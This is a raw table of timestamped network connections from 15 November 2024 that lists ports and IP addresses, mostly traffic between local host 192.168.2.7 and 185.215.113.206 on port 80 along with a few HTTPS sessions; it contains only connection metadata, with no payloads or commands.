Nov 15, 2024 09:55:44.510710001 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.510725975 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.510737896 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.510771036 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.510802031 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.510885000 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.510898113 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.510915041 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.510926962 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.510938883 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.510947943 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.510951996 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.510966063 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.510977983 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.510981083 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.510993004 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.510996103 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.511025906 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.511027098 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.511044979 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.511049032 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.511076927 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.511089087 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.511140108 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.511153936 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.511166096 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.511178017 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.511184931 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.511193037 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.511205912 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.511205912 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.511219025 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.511230946 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.511234045 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.511245012 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.511276960 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.511420012 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.511436939 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.511444092 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.511450052 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.511471987 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.511485100 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.511537075 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.511548996 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.511562109 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.511574030 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.511579037 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.511604071 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.511627913 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.511674881 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.511693954 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.511706114 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.511718035 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.511729956 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.511734009 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.511743069 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.511754990 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.511765957 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.511768103 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.511779070 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.511781931 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.511810064 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.511816978 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.511832952 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.511858940 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.511900902 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.511914015 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.511925936 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.511940956 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.511951923 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.511955023 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.511986017 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.511989117 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.512000084 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.512008905 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.512017965 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.512032032 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.512054920 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.512067080 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.512155056 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.512166977 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.512181044 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.512193918 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.512204885 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.512207985 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.512223005 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.512226105 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.512234926 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.512234926 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.512248039 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.512254953 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.512263060 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.512274981 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.512274981 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.512298107 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.512301922 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.512315035 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.512327909 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.512336016 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.512350082 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.512352943 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.512363911 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.512376070 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.512391090 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.512403965 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.512434006 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.512511969 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.512523890 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.512541056 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.512552977 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.512563944 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.512566090 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.512578964 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.512592077 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.512593985 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.512603998 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.512614012 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.512617111 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.512628078 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.512653112 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.512655973 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.512666941 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.512679100 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.512690067 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.512701988 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.512717962 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.512726068 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.512741089 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.512758017 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.512772083 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.512784004 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.512789011 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.512804031 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.512830019 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.512852907 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.512861967 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.512909889 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.520292997 CET	49970	443	192.168.2.7	204.79.197.219
Nov 15, 2024 09:55:44.520303965 CET	443	49970	204.79.197.219	192.168.2.7
Nov 15, 2024 09:55:44.521224022 CET	49969	443	192.168.2.7	204.79.197.219
Nov 15, 2024 09:55:44.521241903 CET	443	49969	204.79.197.219	192.168.2.7
Nov 15, 2024 09:55:44.537398100 CET	443	49972	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:44.555720091 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.555737019 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.555749893 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.555783987 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.555830002 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.555972099 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.555983067 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.556015968 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.556026936 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.556039095 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.556061029 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.556061983 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.556077957 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.556086063 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.556097984 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.556118965 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.556123018 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.556133032 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.556143045 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.556163073 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.556240082 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.556281090 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.556374073 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.556385994 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.556406021 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.556412935 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.556418896 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.556432962 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.556440115 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.556462049 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.556477070 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.556586027 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.556598902 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.556611061 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.556648970 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.556757927 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.556822062 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.556878090 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.559458971 CET	443	49973	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:44.567301035 CET	443	49967	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.567334890 CET	443	49967	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.567365885 CET	49967	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.567378044 CET	443	49967	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.567411900 CET	49967	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.567430973 CET	49967	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.569509029 CET	443	49966	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.569539070 CET	443	49966	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.569578886 CET	49966	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.569597960 CET	443	49966	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.569612980 CET	49966	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.569636106 CET	49966	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.578864098 CET	443	49967	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.578898907 CET	443	49967	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.578959942 CET	49967	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.578974962 CET	443	49967	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.578994036 CET	49967	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.579015017 CET	49967	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.579428911 CET	443	49967	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.579492092 CET	49967	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.579824924 CET	443	49966	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.579849005 CET	443	49966	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.579885006 CET	49966	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.579900980 CET	443	49966	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.579922915 CET	49966	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.580502033 CET	49966	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.580632925 CET	443	49966	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.580676079 CET	443	49966	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.580688953 CET	49966	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.580698013 CET	443	49966	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.580743074 CET	49966	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.580749035 CET	443	49966	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.580766916 CET	443	49966	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.580805063 CET	49966	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.581290960 CET	443	49967	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.581316948 CET	443	49967	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.581352949 CET	49967	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.581357956 CET	443	49967	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.581420898 CET	49967	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.581420898 CET	49967	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.591845989 CET	443	49968	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.591872931 CET	443	49968	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.591926098 CET	49968	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.591948032 CET	443	49968	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.591978073 CET	49968	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.591993093 CET	49968	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.593271971 CET	443	49968	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.593298912 CET	443	49968	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.593360901 CET	49968	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.593368053 CET	443	49968	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.593964100 CET	443	49968	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.594016075 CET	49968	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.594022036 CET	443	49968	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.594058990 CET	49968	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.595005035 CET	443	49968	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.595021963 CET	443	49968	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.595077038 CET	49968	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.595083952 CET	443	49968	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.596514940 CET	49968	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.628578901 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.628619909 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.628631115 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.628642082 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.628667116 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.628678083 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.628695965 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.628720045 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.628731966 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.628731966 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.628731966 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.628735065 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.628746986 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.628776073 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.628791094 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.628794909 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.628812075 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.628825903 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.628833055 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.628837109 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.628849030 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.628859043 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.628869057 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.628871918 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.628885984 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.628894091 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.628904104 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.628909111 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.628921986 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.628925085 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.628938913 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.628958941 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.628973007 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.629105091 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.629165888 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.629168987 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.629179001 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.629201889 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.629213095 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.629216909 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.629225969 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.629237890 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.629251957 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.629261971 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.629266977 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.629276991 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.629288912 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.629303932 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.629309893 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.629323006 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.629328012 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.629348040 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.629359961 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.631045103 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.631073952 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.631084919 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.631099939 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.631124020 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.631129026 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.631144047 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.631151915 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.631155014 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.631180048 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.631213903 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.631282091 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.631294012 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.631304979 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.631326914 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.631342888 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.631356001 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.631371975 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.631382942 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.631395102 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.631403923 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.631407022 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.631417990 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.631422043 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.631438017 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.631444931 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.631467104 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.631484985 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.631503105 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.631515026 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.631526947 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.631537914 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.631548882 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.631551981 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.631561995 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.631573915 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.631577015 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.631587029 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.631596088 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.631598949 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.631612062 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.631613016 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.631633043 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.631639957 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.631645918 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.631659985 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.631659985 CET	80	49872	185.215.113.206	192.168.2.7
